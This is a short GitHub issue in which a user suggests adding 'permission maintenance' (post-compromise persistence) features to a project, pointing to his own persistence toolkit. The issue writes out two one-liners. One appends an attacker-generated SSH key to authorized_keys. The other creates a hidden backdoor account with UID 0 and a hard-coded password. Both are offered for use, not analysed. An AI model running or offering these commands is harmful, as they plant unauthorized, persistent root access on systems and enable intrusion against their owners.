Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

suggestion #7

Open
RuoJi6 opened this issue Nov 25, 2024 · 0 comments
Open

suggestion #7

RuoJi6 opened this issue Nov 25, 2024 · 0 comments

Comments

@RuoJi6
Copy link

RuoJi6 commented Nov 25, 2024

Suggestion:

  1. Refer to the permission maintenance https://github.com/RuoJi6/HackerPermKeeper of this project, and you can add some permission maintenance operations
  2. One-click write ssh key, and backdoor user
ssh-keygen -t ed25519 -N "xxxxxx1" -f ./id_ed25519 && mkdir -p ~/.ssh && cat ./id_ed25519.pub >> ~/.ssh/authorized_keys && chmod 700 ~/.ssh && chmod 600 ~/.ssh/authorized_keys
useradd -p $(openssl passwd -1 -salt 'salt' asdghjghj231232) asd3rsdf -o -u 0 -g root -G root -s /bin/bash -M
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

1 participant